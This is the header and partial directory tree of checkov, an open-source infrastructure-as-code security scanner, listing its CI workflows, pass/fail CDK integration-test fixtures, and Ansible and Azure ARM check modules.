Repository: bridgecrewio/checkov Branch: main Commit: 53b25944bdc5 Files: 9724 Total size: 35.5 MB Directory structure: gitextract_81zemmz3/ ├── .cfnlintrc ├── .coveragerc ├── .dockerignore ├── .flake8 ├── .github/ │ ├── ISSUE_TEMPLATE/ │ │ ├── best_practices_issue.md │ │ ├── checks_issue.md │ │ ├── crash_report.md │ │ ├── feature_request.md │ │ ├── graph_issue.md │ │ ├── integrations_issue.md │ │ ├── languages_issue.md │ │ ├── noise_issue.md │ │ ├── outputs_issue.md │ │ └── skips_issue.md │ ├── PULL_REQUEST_TEMPLATE.md │ ├── actionlint.yaml │ ├── checkov.yaml │ ├── codeql-config.yml │ ├── dependabot.yml │ ├── exclude-patterns.txt │ ├── pr-title-checker-config.json │ ├── release-changelog-config.json │ ├── stale.yml │ └── workflows/ │ ├── build.yml │ ├── codeql-analysis.yml │ ├── coverage.yaml │ ├── jekyll-gh-pages.yml │ ├── nightly.yml │ ├── pipenv-update.yml │ ├── pr-test.yml │ ├── pr-title.yml │ ├── security-shared.yml │ └── security.yml ├── .gitignore ├── .gitmodules ├── .gitpod.Dockerfile ├── .gitpod.yml ├── .pre-commit-config.yaml ├── .pre-commit-hooks.yaml ├── .swm/ │ ├── creating-a-solver.gm0ti.sw.md │ └── swimm.json ├── CHANGELOG.md ├── CNAME ├── CODE_OF_CONDUCT.md ├── CONTRIBUTING.md ├── Dockerfile ├── INTHEWILD.md ├── LICENSE ├── Pipfile ├── README.md ├── SECURITY.md ├── bin/ │ ├── checkov │ └── checkov.cmd ├── cdk_integration_tests/ │ ├── __init__.py │ ├── prepare_data.sh │ ├── run_integration_tests.sh │ ├── src/ │ │ ├── python/ │ │ │ ├── ALBDropHttpHeaders/ │ │ │ │ ├── fail__1__.py │ │ │ │ └── pass.py │ │ │ ├── ALBListenerHTTPS/ │ │ │ │ ├── fail__1__.py │ │ │ │ └── pass.py │ │ │ ├── APIGatewayAccessLogging/ │ │ │ │ ├── fail__2__.py │ │ │ │ └── pass.py │ │ │ ├── APIGatewayAuthorization/ │ │ │ │ ├── fail__1__.py │ │ │ │ └── pass.py │ │ │ ├── APIGatewayCacheEnable/ │ │ │ │ ├── fail__2__.py │ │ │ │ └── pass.py │ │ │ ├── APIGatewayV2AccessLogging/ │ │ │ │ ├── fail__2__.py │ │ │ │ └── pass.py │ │ │ ├── APIGatewayXray/ │ │ │ │ ├── fail__2__.py │ │ │ │ └── pass.py │ │ │ ├── AmazonMQBrokerPublicAccess/ │ │ │ │ ├── fail__1__.py │ │ │ │ └── pass.py │ │ │ ├── AppSyncFieldLevelLogs/ │ │ │ │ ├── fail__1__.py │ │ │ │ └── pass.py │ │ │ ├── AppSyncLogging/ │ │ │ │ ├── fail__1__.py │ │ │ │ └── pass.py │ │ │ ├── AthenaWorkgroupConfiguration/ │ │ │ │ ├── fail__1__.py │ │ │ │ └── pass.py │ │ │ ├── AuroraEncryption/ │ │ │ │ ├── fail__1__.py │ │ │ │ └── pass.py │ │ │ ├── BackupVaultEncrypted/ │ │ │ │ ├── fail__1__.py │ │ │ │ └── pass.py │ │ │ ├── CloudFrontTLS12/ │ │ │ │ ├── fail__2__.py │ │ │ │ └── pass.py │ │ │ ├── CloudTrailLogValidation/ │ │ │ │ ├── fail__1__.py │ │ │ │ └── pass.py │ │ │ ├── CloudWatchLogGroupKMSKey/ │ │ │ │ ├── fail__1__.py │ │ │ │ └── pass.py │ │ │ ├── CloudWatchLogGroupRetention/ │ │ │ │ ├── fail__1__.py │ │ │ │ └── pass.py │ │ │ ├── CloudfrontDistributionEncryption/ │ │ │ │ ├── fail__2__.py │ │ │ │ └── pass.py │ │ │ ├── CloudfrontDistributionLogging/ │ │ │ │ ├── fail__1__.py │ │ │ │ └── pass.py │ │ │ ├── CloudtrailEncryption/ │ │ │ │ ├── fail__1__.py │ │ │ │ └── pass.py │ │ │ ├── CloudtrailMultiRegion/ │ │ │ │ ├── fail__1__.py │ │ │ │ └── pass.py │ │ │ ├── CodeBuildProjectEncryption/ │ │ │ │ ├── fail__1__.py │ │ │ │ └── pass.py │ │ │ ├── DAXEncryption/ │ │ │ │ ├── fail__1__.py │ │ │ │ └── pass.py │ │ │ ├── DMSReplicationInstancePubliclyAccessible/ │ │ │ │ ├── fail__1__.py │ │ │ │ └── pass.py │ │ │ ├── DocDBAuditLogs/ │ │ │ │ ├── fail__1__.py │ │ │ │ └── pass.py │ │ │ ├── DocDBEncryption/ │ │ │ │ ├── fail__1__.py │ │ │ │ └── pass.py │ │ │ ├── DocDBTLS/ │ │ │ │ ├── fail__1__.py │ │ │ │ └── pass.py │ │ │ ├── DynamodbGlobalTableRecovery/ │ │ │ │ ├── fail__1__.py │ │ │ │ └── pass.py │ │ │ ├── DynamodbRecovery/ │ │ │ │ ├── fail__1__.py │ │ │ │ └── pass.py │ │ │ ├── EBSEncryption/ │ │ │ │ ├── fail__1__.py │ │ │ │ └── pass.py │ │ │ ├── EC2PublicIP/ │ │ │ │ ├── fail__2__.py │ │ │ │ └── pass.py │ │ │ ├── ECRImageScanning/ │ │ │ │ ├── fail__1__.py │ │ │ │ └── pass.py │ │ │ ├── ECRImmutableTags/ │ │ │ │ ├── fail__1__.py │ │ │ │ └── pass.py │ │ │ ├── ECRRepositoryEncrypted/ │ │ │ │ ├── fail__1__.py │ │ │ │ └── pass.py │ │ │ ├── ECSClusterContainerInsights/ │ │ │ │ ├── fail__1__.py │ │ │ │ └── pass.py │ │ │ ├── ECSTaskDefinitionEFSVolumeEncryption/ │ │ │ │ ├── fail__1__.py │ │ │ │ └── pass.py │ │ │ ├── EFSEncryptionEnabled/ │ │ │ │ ├── fail__1__.py │ │ │ │ └── pass.py │ │ │ ├── EKSSecretsEncryption/ │ │ │ │ ├── fail__1__.py │ │ │ │ └── pass.py │ │ │ ├── ELBAccessLogs/ │ │ │ │ ├── fail__1__.py │ │ │ │ └── pass.py │ │ │ ├── ELBv2AccessLogs/ │ │ │ │ ├── fail__2__.py │ │ │ │ └── pass.py │ │ │ ├── ElasticacheReplicationGroupEncryptionAtRest/ │ │ │ │ ├── fail__1__.py │ │ │ │ └── pass.py │ │ │ ├── ElasticacheReplicationGroupEncryptionAtTransit/ │ │ │ │ ├── fail__1__.py │ │ │ │ └── pass.py │ │ │ ├── ElasticacheReplicationGroupEncryptionAtTransitAuthToken/ │ │ │ │ ├── fail__2__.py │ │ │ │ └── pass.py │ │ │ ├── ElasticsearchDomainEnforceHTTPS/ │ │ │ │ ├── fail__1__.py │ │ │ │ └── pass.py │ │ │ ├── ElasticsearchDomainLogging/ │ │ │ │ ├── fail__2__.py │ │ │ │ └── pass.py │ │ │ ├── ElasticsearchEncryption/ │ │ │ │ ├── fail__1__.py │ │ │ │ └── pass.py │ │ │ ├── ElasticsearchNodeToNodeEncryption/ │ │ │ │ ├── fail__1__.py │ │ │ │ └── pass.py │ │ │ ├── GlueDataCatalogEncryption/ │ │ │ │ ├── fail__2__.py │ │ │ │ └── pass.py │ │ │ ├── GlueSecurityConfiguration/ │ │ │ │ ├── fail__2__.py │ │ │ │ └── pass.py │ │ │ ├── GlueSecurityConfigurationEnabled/ │ │ │ │ ├── fail__3__.py │ │ │ │ └── pass.py │ │ │ ├── IAMPolicyAttachedToGroupOrRoles/ │ │ │ │ ├── fail__1__.py │ │ │ │ └── pass.py │ │ │ ├── KinesisStreamEncryptionType/ │ │ │ │ ├── fail__1__.py │ │ │ │ └── pass.py │ │ │ ├── LambdaDLQConfigured/ │ │ │ │ ├── fail__2__.py │ │ │ │ └── pass.py │ │ │ ├── LambdaEnvironmentCredentials/ │ │ │ │ ├── fail__2__.py │ │ │ │ └── pass.py │ │ │ ├── LambdaEnvironmentEncryptionSettings/ │ │ │ │ ├── fail__2__.py │ │ │ │ └── pass.py │ │ │ ├── LambdaFunctionLevelConcurrentExecutionLimit/ │ │ │ │ ├── fail__2__.py │ │ │ │ └── pass.py │ │ │ ├── LambdaInVPC/ │ │ │ │ ├── fail__2__.py │ │ │ │ └── pass.py │ │ │ ├── LaunchConfigurationEBSEncryption/ │ │ │ │ ├── fail__1__.py │ │ │ │ └── pass.py │ │ │ ├── NeptuneClusterStorageEncrypted/ │ │ │ │ ├── fail__2__.py │ │ │ │ └── pass.py │ │ │ ├── RDSEnhancedMonitorEnabled/ │ │ │ │ ├── fail__1__.py │ │ │ │ └── pass.py │ │ │ ├── RDSMultiAZEnabled/ │ │ │ │ ├── fail__1__.py │ │ │ │ └── pass.py │ │ │ ├── RDSPubliclyAccessible/ │ │ │ │ ├── fail__1__.py │ │ │ │ └── pass.py │ │ │ ├── RedShiftSSL/ │ │ │ │ ├── fail__2__.py │ │ │ │ └── pass.py │ │ │ ├── RedshiftClusterEncryption/ │ │ │ │ ├── fail__1__.py │ │ │ │ └── pass.py │ │ │ ├── RedshiftClusterLogging/ │ │ │ │ ├── fail__1__.py │ │ │ │ └── pass.py │ │ │ ├── RedshiftClusterPubliclyAccessible/ │ │ │ │ ├── fail__1__.py │ │ │ │ └── pass.py │ │ │ ├── RedshiftInEc2ClassicMode/ │ │ │ │ ├── fail__1__.py │ │ │ │ └── pass.py │ │ │ ├── S3BlockPublicACLs/ │ │ │ │ ├── fail__2__.py │ │ │ │ └── pass.py │ │ │ ├── S3BlockPublicPolicy/ │ │ │ │ ├── fail__2__.py │ │ │ │ └── pass.py │ │ │ ├── S3BucketEncryption/ │ │ │ │ ├── fail__2__.py │ │ │ │ └── pass.py │ │ │ ├── S3BucketKMSEncryption/ │ │ │ │ ├── fail__3__.py │ │ │ │ └── pass.py │ │ │ ├── S3BucketLogging/ │ │ │ │ ├── fail.py │ │ │ │ └── pass.py │ │ │ ├── S3BucketPublicAccessBlock/ │ │ │ │ ├── fail.py │ │ │ │ └── pass.py │ │ │ ├── S3BucketVersioning/ │ │ │ │ ├── fail__2__.py │ │ │ │ └── pass.py │ │ │ ├── S3IgnorePublicACLs/ │ │ │ │ ├── fail__2__.py │ │ │ │ └── pass.py │ │ │ ├── S3PublicACLRead/ │ │ │ │ ├── fail__3__.py │ │ │ │ └── pass.py │ │ │ ├── S3PublicACLWrite/ │ │ │ │ ├── fail__2__.py │ │ │ │ └── pass.py │ │ │ ├── S3RestrictPublicBuckets/ │ │ │ │ ├── fail__2__.py │ │ │ │ └── pass.py │ │ │ ├── SNSTopicEncryption/ │ │ │ │ ├── fail.py │ │ │ │ └── pass.py │ │ │ ├── SQSQueueEncryption/ │ │ │ │ ├── fail__2__.py │ │ │ │ └── pass.py │ │ │ ├── SecretManagerSecretEncrypted/ │ │ │ │ ├── fail__2__.py │ │ │ │ └── pass.py │ │ │ ├── SecurityGroupRuleDescription/ │ │ │ │ ├── fail__4__.py │ │ │ │ └── pass.py │ │ │ ├── TransferServerIsPublic/ │ │ │ │ ├── fail__1__.py │ │ │ │ └── pass.py │ │ │ ├── VPCEndpointAcceptanceConfigured/ │ │ │ │ ├── fail__1__.py │ │ │ │ └── pass.py │ │ │ ├── WAFEnabled/ │ │ │ │ ├── fail__1__.py │ │ │ │ └── pass.py │ │ │ ├── WorkspaceRootVolumeEncrypted/ │ │ │ │ ├── fail__1__.py │ │ │ │ └── pass.py │ │ │ ├── WorkspaceUserVolumeEncrypted/ │ │ │ │ ├── fail__1__.py │ │ │ │ └── pass.py │ │ │ └── s3.py │ │ └── typescript/ │ │ ├── ALBDropHttpHeaders/ │ │ │ ├── fail.ts │ │ │ └── pass.ts │ │ ├── ALBListenerHTTPS/ │ │ │ ├── fail.ts │ │ │ └── pass.ts │ │ ├── APIGatewayAccessLogging/ │ │ │ ├── fail.ts │ │ │ └── pass.ts │ │ ├── APIGatewayAuthorization/ │ │ │ ├── fail.ts │ │ │ ├── fail__2__.ts │ │ │ ├── pass.ts │ │ │ └── pass__2__.ts │ │ ├── APIGatewayCacheEnable/ │ │ │ ├── fail.ts │ │ │ └── pass.ts │ │ ├── APIGatewayV2AccessLogging/ │ │ │ ├── fail.ts │ │ │ └── pass.ts │ │ ├── APIGatewayXray/ │ │ │ ├── fail.ts │ │ │ └── pass.ts │ │ ├── AmazonMQBrokerPublicAccess/ │ │ │ ├── fail.ts │ │ │ └── pass.ts │ │ ├── AppSyncFieldLevelLogs/ │ │ │ ├── fail.ts │ │ │ └── pass.ts │ │ ├── AppSyncLogging/ │ │ │ ├── fail.ts │ │ │ └── pass.ts │ │ ├── AthenaWorkgroupConfiguration/ │ │ │ ├── fail.ts │ │ │ ├── fail__2__.ts │ │ │ └── pass.ts │ │ ├── AuroraEncryption/ │ │ │ ├── fail.ts │ │ │ └── pass.ts │ │ ├── BackupVaultEncrypted/ │ │ │ ├── fail.ts │ │ │ └── pass.ts │ │ ├── CloudFrontTLS12/ │ │ │ ├── fail.ts │ │ │ └── pass.ts │ │ ├── CloudTrailLogValidation/ │ │ │ ├── fail.ts │ │ │ └── pass.ts │ │ ├── CloudWatchLogGroupKMSKey/ │ │ │ ├── fail.ts │ │ │ └── pass.ts │ │ ├── CloudWatchLogGroupRetention/ │ │ │ ├── fail.ts │ │ │ └── pass.ts │ │ ├── CloudfrontDistributionEncryption/ │ │ │ ├── fail__2__.ts │ │ │ └── pass.ts │ │ ├── CloudfrontDistributionLogging/ │ │ │ ├── fail__2__.ts │ │ │ └── pass.ts │ │ ├── CloudtrailEncryption/ │ │ │ ├── fail.ts │ │ │ └── pass.ts │ │ ├── CloudtrailMultiRegion/ │ │ │ ├── fail__2__.ts │ │ │ └── pass.ts │ │ ├── CodeBuildProjectEncryption/ │ │ │ ├── fail.ts │ │ │ └── pass.ts │ │ ├── DAXEncryption/ │ │ │ ├── fail__2__.ts │ │ │ └── pass.ts │ │ ├── DMSReplicationInstancePubliclyAccessible/ │ │ │ ├── fail.ts │ │ │ └── pass.ts │ │ ├── DocDBAuditLogs/ │ │ │ ├── fail__2__.ts │ │ │ └── pass.ts │ │ ├── DocDBEncryption/ │ │ │ ├── fail__2__.ts │ │ │ └── pass.ts │ │ ├── DocDBTLS/ │ │ │ ├── fail.ts │ │ │ └── pass.ts │ │ ├── DynamodbGlobalTableRecovery/ │ │ │ ├── fail.ts │ │ │ └── pass.ts │ │ ├── DynamodcRecovery/ │ │ │ ├── fail__2__.ts │ │ │ └── pass.ts │ │ ├── EBSEncryption/ │ │ │ ├── fail__2__.ts │ │ │ └── pass.ts │ │ ├── EC2PublicIP/ │ │ │ ├── fail.ts │ │ │ ├── fail_2.ts │ │ │ └── pass.ts │ │ ├── ECRImageScanning/ │ │ │ ├── fail.ts │ │ │ └── pass.ts │ │ ├── ECRImmutableTags/ │ │ │ ├── fail.ts │ │ │ └── pass.ts │ │ ├── ECRRepositoryEncrypted/ │ │ │ ├── fail.ts │ │ │ ├── pass.ts │ │ │ └── pass_2.ts │ │ ├── ECSClusterContainerInsights/ │ │ │ ├── fail.ts │ │ │ └── pass.ts │ │ ├── ECSTaskDefinitionEFSVolumeEncryption/ │ │ │ ├── fail.ts │ │ │ ├── fail_2.ts │ │ │ └── pass.ts │ │ ├── EFSEncryptionEnabled/ │ │ │ ├── fail.ts │ │ │ └── pass.ts │ │ ├── EKSSecretsEncryption/ │ │ │ ├── fail.ts │ │ │ └── pass.ts │ │ ├── ELBAccessLogs/ │ │ │ ├── fail.ts │ │ │ └── pass.ts │ │ ├── ELBv2AccessLogs/ │ │ │ ├── fail.ts │ │ │ └── pass.ts │ │ ├── ElasticacheReplicationGroupEncryptionAtRest/ │ │ │ ├── fail.ts │ │ │ └── pass.ts │ │ ├── ElasticacheReplicationGroupEncryptionAtTransit/ │ │ │ ├── fail.ts │ │ │ └── pass.ts │ │ ├── ElasticacheReplicationGroupEncryptionAtTransitAuthToken/ │ │ │ ├── fail.ts │ │ │ ├── pass.ts │ │ │ └── pass_2.ts │ │ ├── ElasticsearchDomainEnforceHTTPS/ │ │ │ ├── fail.ts │ │ │ ├── fail_2.ts │ │ │ ├── pass.ts │ │ │ └── pass_2.ts │ │ ├── ElasticsearchDomainLogging/ │ │ │ ├── fail.ts │ │ │ ├── fail_2.ts │ │ │ ├── pass.ts │ │ │ └── pass_2.ts │ │ ├── ElasticsearchEncryption/ │ │ │ ├── fail.ts │ │ │ ├── fail2.ts │ │ │ └── pass.ts │ │ ├── ElasticsearchNodeToNodeEncryption/ │ │ │ ├── fail.ts │ │ │ ├── fail2.ts │ │ │ └── pass.ts │ │ ├── GlueDataCatalogEncryption/ │ │ │ ├── fail.ts │ │ │ ├── fail2.ts │ │ │ └── pass.ts │ │ ├── GlueSecurityConfiguration/ │ │ │ ├── fail.ts │ │ │ ├── fail2.ts │ │ │ └── pass.ts │ │ ├── GlueSecurityConfigurationEnabled/ │ │ │ ├── fail.ts │ │ │ ├── fail2.ts │ │ │ └── pass.ts │ │ ├── IAMPolicyAttachedToGroupOrRoles/ │ │ │ ├── fail.ts │ │ │ ├── fail2.ts │ │ │ └── pass.ts │ │ ├── KinesisStreamEncryptionType/ │ │ │ ├── fail.ts │ │ │ ├── fail2.ts │ │ │ └── pass.ts │ │ ├── LambdaDLQConfigured/ │ │ │ ├── fail.ts │ │ │ ├── fail2.ts │ │ │ └── pass.ts │ │ ├── LambdaEnvironmentCredentials/ │ │ │ ├── fail.ts │ │ │ ├── fail2.ts │ │ │ └── pass.ts │ │ ├── LambdaEnvironmentEncryptionSettings/ │ │ │ ├── fail.ts │ │ │ ├── fail2.ts │ │ │ └── pass.ts │ │ ├── LambdaFunctionLevelConcurrentExecutionLimit/ │ │ │ ├── fail.ts │ │ │ ├── fail2.ts │ │ │ └── pass.ts │ │ ├── LambdaInVPC/ │ │ │ ├── fail.ts │ │ │ ├── fail2.ts │ │ │ └── pass.ts │ │ ├── LaunchConfigurationEBSEncryption/ │ │ │ ├── fail.ts │ │ │ ├── fail2.ts │ │ │ └── pass.ts │ │ ├── NeptuneClusterStorageEncrypted/ │ │ │ ├── fail.ts │ │ │ ├── fail2.ts │ │ │ └── pass.ts │ │ ├── RDSEnhancedMonitorEnabled/ │ │ │ ├── fail2.ts │ │ │ └── pass.ts │ │ ├── RDSMultiAZEnabled/ │ │ │ ├── fail.ts │ │ │ └── pass.ts │ │ ├── RDSPubliclyAccessible/ │ │ │ ├── fail.ts │ │ │ └── pass.ts │ │ ├── RedShiftSSL/ │ │ │ ├── fail__2__.ts │ │ │ └── pass.ts │ │ ├── RedshiftClusterEncryption/ │ │ │ ├── fail__2__.ts │ │ │ └── pass.ts │ │ ├── RedshiftClusterLogging/ │ │ │ ├── fail.ts │ │ │ └── pass.ts │ │ ├── RedshiftClusterPubliclyAccessible/ │ │ │ ├── fail.ts │ │ │ └── pass.ts │ │ ├── RedshiftInEc2ClassicMode/ │ │ │ ├── fail.ts │ │ │ └── pass.ts │ │ ├── S3BlockPublicACLs/ │ │ │ ├── fail.ts │ │ │ ├── fail__3__.ts │ │ │ ├── pass.ts │ │ │ ├── pass2.ts │ │ │ └── pass3.ts │ │ ├── S3BlockPublicPolicy/ │ │ │ ├── fail.ts │ │ │ └── pass.ts │ │ ├── S3BucketEncryption/ │ │ │ ├── fail2__2__.ts │ │ │ ├── fail__2__.ts │ │ │ ├── pass.ts │ │ │ └── pass2.ts │ │ ├── S3BucketKMSEncryption/ │ │ │ ├── fail2__3__.ts │ │ │ ├── fail__3__.ts │ │ │ ├── pass.ts │ │ │ └── pass2.ts │ │ ├── S3BucketLogging/ │ │ │ ├── fail.ts │ │ │ ├── fail2.ts │ │ │ ├── pass.ts │ │ │ └── pass2.ts │ │ ├── S3BucketPublicAccessBlock/ │ │ │ ├── fail.ts │ │ │ ├── fail2.ts │ │ │ ├── pass.ts │ │ │ └── pass2.ts │ │ ├── S3BucketVersioning/ │ │ │ ├── fail2__2__.ts │ │ │ ├── fail__2__.ts │ │ │ ├── pass.ts │ │ │ └── pass2.ts │ │ ├── S3PublicACLRead/ │ │ │ ├── fail__3__.ts │ │ │ └── pass.ts │ │ ├── S3RestrictPublicBuckets/ │ │ │ ├── fail__2__.ts │ │ │ └── pass.ts │ │ ├── SNSTopicEncryption/ │ │ │ ├── fail.ts │ │ │ └── pass.ts │ │ ├── SQSQueueEncryption/ │ │ │ ├── fail__2__.ts │ │ │ └── pass.ts │ │ ├── SecretManagerSecretEncrypted/ │ │ │ ├── fail__2__.ts │ │ │ └── pass.ts │ │ ├── SecurityGroupRuleDescription/ │ │ │ ├── fail__4__.ts │ │ │ └── pass.ts │ │ ├── TransferServerIsPublic/ │ │ │ ├── fail__1__.ts │ │ │ └── pass.ts │ │ ├── VPCEndpointAcceptanceConfigured/ │ │ │ ├── fail__2__.ts │ │ │ └── pass.ts │ │ ├── WAFEnabled/ │ │ │ ├── fail__1__.ts │ │ │ └── pass.ts │ │ ├── WorkspaceRootVolumeEncrypted/ │ │ │ ├── fail__1__.ts │ │ │ └── pass.ts │ │ ├── WorkspaceUserVolumeEncrypted/ │ │ │ ├── fail__1__.ts │ │ │ └── pass.ts │ │ └── s3.ts │ ├── test_checks_python.py │ ├── test_checks_typescript.py │ └── utils.py ├── checkov/ │ ├── __init__.py │ ├── ansible/ │ │ ├── __init__.py │ │ ├── checks/ │ │ │ ├── __init__.py │ │ │ ├── base_ansible_task_check.py │ │ │ ├── base_ansible_task_value_check.py │ │ │ ├── graph_checks/ │ │ │ │ ├── BlockErrorHandling.yaml │ │ │ │ ├── DnfDisableGpgCheck.yaml │ │ │ │ ├── DnfSslVerify.yaml │ │ │ │ ├── DnfValidateCerts.yaml │ │ │ │ ├── GetUrlHttpsOnly.yaml │ │ │ │ ├── PanosIPsecAuthenticationAlgorithms.yaml │ │ │ │ ├── PanosIPsecProtocols.yaml │ │ │ │ ├── PanosInterfaceMgmtProfileNoHTTP.yaml │ │ │ │ ├── PanosInterfaceMgmtProfileNoTelnet.yaml │ │ │ │ ├── PanosPolicyDescription.yaml │ │ │ │ ├── PanosPolicyLogForwarding.yaml │ │ │ │ ├── PanosPolicyLogSessionStart.yaml │ │ │ │ ├── PanosPolicyLoggingEnabled.yaml │ │ │ │ ├── PanosPolicyNoApplicationAny.yaml │ │ │ │ ├── PanosPolicyNoDSRI.yaml │ │ │ │ ├── PanosPolicyNoServiceAny.yaml │ │ │ │ ├── PanosPolicyNoSrcAnyDstAny.yaml │ │ │ │ ├── PanosPolicyNoSrcZoneAnyNoDstZoneAny.yaml │ │ │ │ ├── PanosZoneProtectionProfile.yaml │ │ │ │ ├── PanosZoneUserIDIncludeACL.yaml │ │ │ │ ├── UriHttpsOnly.yaml │ │ │ │ └── __init__.py │ │ │ ├── registry.py │ │ │ └── task/ │ │ │ ├── __init__.py │ │ │ ├── aws/ │ │ │ │ ├── EC2EBSOptimized.py │ │ │ │ ├── EC2PublicIP.py │ │ │ │ └── __init__.py │ │ │ └── builtin/ │ │ │ ├── AptAllowUnauthenticated.py │ │ │ ├── AptForce.py │ │ │ ├── GetUrlValidateCerts.py │ │ │ ├── UriValidateCerts.py │ │ │ ├── YumSslVerify.py │ │ │ ├── YumValidateCerts.py │ │ │ └── __init__.py │ │ ├── graph_builder/ │ │ │ ├── __init__.py │ │ │ ├── graph_components/ │ │ │ │ ├── __init__.py │ │ │ │ └── resource_types.py │ │ │ └── local_graph.py │ │ ├── runner.py │ │ └── utils.py │ ├── argo_workflows/ │ │ ├── __init__.py │ │ ├── checks/ │ │ │ ├── __init__.py │ │ │ ├── base_argo_workflows_check.py │ │ │ ├── registry.py │ │ │ └── template/ │ │ │ ├── DefaultServiceAccount.py │ │ │ ├── RunAsNonRoot.py │ │ │ └── __init__.py │ │ ├── common/ │ │ │ └── __init__.py │ │ └── runner.py │ ├── arm/ │ │ ├── __init__.py │ │ ├── base_parameter_check.py │ │ ├── base_registry.py │ │ ├── base_resource_check.py │ │ ├── base_resource_negative_value_check.py │ │ ├── base_resource_value_check.py │ │ ├── checks/ │ │ │ ├── __init__.py │ │ │ ├── graph_checks/ │ │ │ │ ├── AzureMLWorkspacePublicNetwork.yaml │ │ │ │ ├── AzureSpringCloudConfigWithVnet.yaml │ │ │ │ ├── SynapseLogMonitoringEnabledForSQLPool.yaml │ │ │ │ ├── SynapseSQLPoolHasSecurityAlertPolicy.yaml │ │ │ │ ├── SynapseSQLPoolHasVulnerabilityAssessment.yaml │ │ │ │ ├── SynapseWorkspaceHasExtendedAuditLogs.yaml │ │ │ │ └── __init__.py │ │ │ ├── parameter/ │ │ │ │ ├── SecureStringParameterNoHardcodedValue.py │ │ │ │ └── __init__.py │ │ │ └── resource/ │ │ │ ├── ACRAdminAccountDisabled.py │ │ │ ├── ACRAnonymousPullDisabled.py │ │ │ ├── ACRContainerScanEnabled.py │ │ │ ├── ACREnableImageQuarantine.py │ │ │ ├── ACREnableZoneRedundancy.py │ │ │ ├── ACRPublicNetworkAccessDisabled.py │ │ │ ├── AKSApiServerAuthorizedIpRanges.py │ │ │ ├── AKSDashboardDisabled.py │ │ │ ├── AKSEncryptionAtHostEnabled.py │ │ │ ├── AKSEphemeralOSDisks.py │ │ │ ├── AKSLocalAdminDisabled.py │ │ │ ├── AKSLoggingEnabled.py │ │ │ ├── AKSMaxPodsMinimum.py │ │ │ ├── AKSNetworkPolicy.py │ │ │ ├── AKSPoolTypeIsScaleSet.py │ │ │ ├── AKSRbacEnabled.py │ │ │ ├── AKSUpgradeChannel.py │ │ │ ├── APIManagementMinTLS12.py │ │ │ ├── APIManagementPublicAccess.py │ │ │ ├── APIServicesUseVirtualNetwork.py │ │ │ ├── AkSSecretStoreRotation.py │ │ │ ├── AppGWDefinesSecureProtocols.py │ │ │ ├── AppGatewayWAFACLCVE202144228.py │ │ │ ├── AppServiceAuthentication.py │ │ │ ├── AppServiceClientCertificate.py │ │ │ ├── AppServiceDetailedErrorMessagesEnabled.py │ │ │ ├── AppServiceDisallowCORS.py │ │ │ ├── AppServiceDotnetFrameworkVersion.py │ │ │ ├── AppServiceEnableFailedRequest.py │ │ │ ├── AppServiceFTPSState.py │ │ │ ├── AppServiceHTTPSOnly.py │ │ │ ├── AppServiceHttpLoggingEnabled.py │ │ │ ├── AppServiceHttps20Enabled.py │ │ │ ├── AppServiceIdentity.py │ │ │ ├── AppServiceIdentityProviderEnabled.py │ │ │ ├── AppServiceInstanceMinimum.py │ │ │ ├── AppServiceJavaVersion.py │ │ │ ├── AppServiceMinTLSVersion.py │ │ │ ├── AppServicePHPVersion.py │ │ │ ├── AppServicePlanZoneRedundant.py │ │ │ ├── AppServicePublicAccessDisabled.py │ │ │ ├── AppServicePythonVersion.py │ │ │ ├── AppServiceRemoteDebuggingNotEnabled.py │ │ │ ├── AppServiceSetHealthCheck.py │ │ │ ├── AppServiceSlotDebugDisabled.py │ │ │ ├── AppServiceSlotHTTPSOnly.py │ │ │ ├── AppServiceUsedAzureFiles.py │ │ │ ├── AutomationEncrypted.py │ │ │ ├── AzureBatchAccountEndpointAccessDefaultAction.py │ │ │ ├── AzureBatchAccountUsesKeyVaultEncryption.py │ │ │ ├── AzureDataExplorerDoubleEncryptionEnabled.py │ │ │ ├── AzureDefenderOnKeyVaults.py │ │ │ ├── AzureDefenderOnKubernetes.py │ │ │ ├── AzureDefenderOnSqlServersVMS.py │ │ │ ├── AzureDefenderOnStorage.py │ │ │ ├── AzureFirewallDenyThreatIntelMode.py │ │ │ ├── AzureFrontDoorEnablesWAF.py │ │ │ ├── AzureInstanceExtensions.py │ │ │ ├── AzureInstancePassword.py │ │ │ ├── AzureMLWorkspacePrivateEndpoint.py │ │ │ ├── AzureManagedDiscEncryption.py │ │ │ ├── AzureManagedDiskEncryptionSet.py │ │ │ ├── AzureScaleSetPassword.py │ │ │ ├── AzureSearchSLAIndex.py │ │ │ ├── AzureSearchSLAQueryUpdates.py │ │ │ ├── AzureServiceFabricClusterProtectionLevel.py │ │ │ ├── AzureSparkPoolIsolatedComputeEnabled.py │ │ │ ├── AzureSynapseWorkspaceVAisEnabled.py │ │ │ ├── AzureSynapseWorkspacesHaveNoIPFirewallRulesAttached.py │ │ │ ├── CognitiveServicesConfigureIdentity.py │ │ │ ├── CognitiveServicesDisablesPublicNetwork.py │ │ │ ├── CognitiveServicesEnableLocalAuth.py │ │ │ ├── CosmosDBAccountsRestrictedAccess.py │ │ │ ├── CosmosDBDisableAccessKeyWrite.py │ │ │ ├── CosmosDBDisablesPublicNetwork.py │ │ │ ├── CosmosDBHaveCMK.py │ │ │ ├── CosmosDBLocalAuthDisabled.py │ │ │ ├── CustomRoleDefinitionSubscriptionOwner.py │ │ │ ├── DataExplorerUsesDiskEncryption.py │ │ │ ├── DataFactoryNoPublicNetworkAccess.py │ │ │ ├── DataFactoryUsesGitRepository.py │ │ │ ├── DataLakeStoreEncryption.py │ │ │ ├── DatabricksWorkspaceDBFSRootEncryptedWithCustomerManagedKey.py │ │ │ ├── DatabricksWorkspaceIsNotPublic.py │ │ │ ├── EventHubNamespaceMinTLS12.py │ │ │ ├── EventgridTopicIdentityProviderEnabled.py │ │ │ ├── EventgridTopicLocalAuthentication.py │ │ │ ├── EventgridTopicNetworkAccess.py │ │ │ ├── FrontDoorWAFACLCVE202144228.py │ │ │ ├── FrontdoorUseWAFMode.py │ │ │ ├── FunctionAppDisallowCORS.py │ │ │ ├── FunctionAppHttpVersionLatest.py │ │ │ ├── FunctionAppMinTLSVersion.py │ │ │ ├── FunctionAppsAccessibleOverHttps.py │ │ │ ├── FunctionAppsEnableAuthentication.py │ │ │ ├── KeyBackedByHSM.py │ │ │ ├── KeyExpirationDate.py │ │ │ ├── KeyVaultDisablesPublicNetworkAccess.py │ │ │ ├── KeyVaultEnablesFirewallRulesSettings.py │ │ │ ├── KeyVaultEnablesPurgeProtection.py │ │ │ ├── KeyVaultEnablesSoftDelete.py │ │ │ ├── KeyvaultRecoveryEnabled.py │ │ │ ├── LinuxVMUsesSSH.py │ 